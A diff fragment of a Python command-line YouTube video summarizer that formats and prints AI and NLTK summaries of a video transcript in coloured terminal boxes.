+    """Print text in a nice box with optional title."""
+    wrapper = textwrap.TextWrapper(width=width-4)  # -4 for the box margins
+    wrapped_text = wrapper.fill(text)
+    lines = wrapped_text.split('\n')
+    
+    # Print top border with optional title
+    if title:
+        title_space = width - 4 - len(title)
+        left_padding = title_space // 2
+        right_padding = title_space - left_padding
+        print(color + '┌' + '─' * left_padding + title + '─' * right_padding + '┐')
+    else:
+        print(color + '┌' + '─' * (width-2) + '┐')
+    
+    # Print content
+    for line in lines:
+        padding = width - 2 - len(line)
+        print(color + '│ ' + line + ' ' * padding + '│')
+    
+    # Print bottom border
+    print(color + '└' + '─' * (width-2) + '┘')
+
+def print_summary_result(result, width=80):
+    """Print the summary result in a nicely formatted way."""
+    if "error" in result:
+        print_boxed_text(f"Error: {result['error']}", width=width, title="ERROR", color=Fore.RED)
+        return
+    
+    # Terminal width
+    terminal_width = width
+    
+    # Print header with video information
+    print("\n" + Fore.CYAN + "=" * terminal_width)
+    print(Fore.CYAN + Style.BRIGHT + result['video_title'].center(terminal_width))
+    print(Fore.CYAN + "=" * terminal_width + "\n")
+    
+    # Video metadata section
+    print(Fore.YELLOW + Style.BRIGHT + "VIDEO INFORMATION".center(terminal_width))
+    print(Fore.YELLOW + "─" * terminal_width)
+    
+    # Two-column layout for metadata
+    col_width = terminal_width // 2 - 2
+    
+    # Row 3
+    print(f"{Fore.GREEN}Video ID: {Fore.WHITE}{result['video_id']:<{col_width}}"
+          f"{Fore.GREEN}URL: {Fore.WHITE}https://youtu.be/{result['video_id']}")
+    
+    print(Fore.YELLOW + "─" * terminal_width + "\n")
+    
+    # AI Summary section
+    ai_compression = "N/A"
+    if result['ai_summary_length'] > 0:
+        ai_compression = round((1 - result['ai_summary_length'] / result['full_transcript_length']) * 100)
+    
+    ai_summary_title = f" AI SUMMARY ({result['ai_summary_length']} words, condensed {ai_compression}% from {result['full_transcript_length']} words) "
+    
+    print(Fore.GREEN + Style.BRIGHT + ai_summary_title.center(terminal_width))
+    print(Fore.GREEN + "─" * terminal_width)
+    
+    # Print the AI summary with proper wrapping
+    wrapper = textwrap.TextWrapper(width=terminal_width-4, 
+                                  initial_indent='  ', 
+                                  subsequent_indent='  ')
+    
+    # Split AI summary into paragraphs and print each
+    ai_paragraphs = result['ai_summary'].split('\n')
+    for paragraph in ai_paragraphs:
+        if paragraph.strip():  # Skip empty paragraphs
+            print(wrapper.fill(paragraph))
+            print()  # Empty line between paragraphs
+    
+    print(Fore.GREEN + "─" * terminal_width + "\n")
+    
+    # NLTK Summary section
+    nltk_compression = round((1 - result['nltk_summary_length'] / result['full_transcript_length']) * 100)
+    nltk_summary_title = f" NLTK SUMMARY ({result['nltk_summary_length']} words, condensed {nltk_compression}% from {result['full_transcript_length']} words) "
+    
+    print(Fore.MAGENTA + Style.BRIGHT + nltk_summary_title.center(terminal_width))
+    print(Fore.MAGENTA + "─" * terminal_width)
+    
+    # Split NLTK summary into paragraphs and wrap each
+    paragraphs = result['nltk_summary'].split('. ')
+    formatted_paragraphs = []
+    
+    current_paragraph = ""
+    for sentence in paragraphs:
+        if not sentence.endswith('.'):
+            sentence += '.'
+        
+        if len(current_paragraph) + len(sentence) + 1 <= 150:  # Arbitrary length for paragraph
+            current_paragraph += " " + sentence if current_paragraph else sentence
+        else:
+            if current_paragraph:
+                formatted_paragraphs.append(current_paragraph)
+            current_paragraph = sentence
+    
+    if current_paragraph:
+        formatted_paragraphs.append(current_paragraph)
+    
+    # Print each paragraph
+    for paragraph in formatted_paragraphs:
+        print(wrapper.fill(paragraph))
+        print()  # Empty line between paragraphs
+    
+    print(Fore.MAGENTA + "─" * terminal_width + "\n")
+
+
+if __name__ == "__main__":
+    # Get terminal width
+    try:
+        terminal_width = os.get_terminal_size().columns
+        # Limit width to reasonable range
+        terminal_width = max(80, min(terminal_width, 120))
+    except:
+        terminal_width = 80  # Default if can't determine
+    
+    # Print welcome banner
+    print(Fore.CYAN + Style.BRIGHT + "\n" + "=" * terminal_width)
+    print(Fore.CYAN + Style.BRIGHT + "YOUTUBE VIDEO SUMMARIZER".center(terminal_width))
+    print(Fore.CYAN + Style.BRIGHT + "=" * terminal_width + "\n")
+    
+    youtube_url = input(Fore.GREEN + "Enter YouTube video URL: " + Fore.WHITE)
+    
+    num_sentences_input = input(Fore.GREEN + "Enter number of sentences for summaries (default 5): " + Fore.WHITE)
+    num_sentences = int(num_sentences_input) if num_sentences_input.strip() else 5
+    
+    print(Fore.YELLOW + "\nFetching and analyzing video transcript... Please wait...\n")
+    
+    result = summarize_youtube_video(youtube_url, num_sentences)
+    print_summary_result(result, width=terminal_width)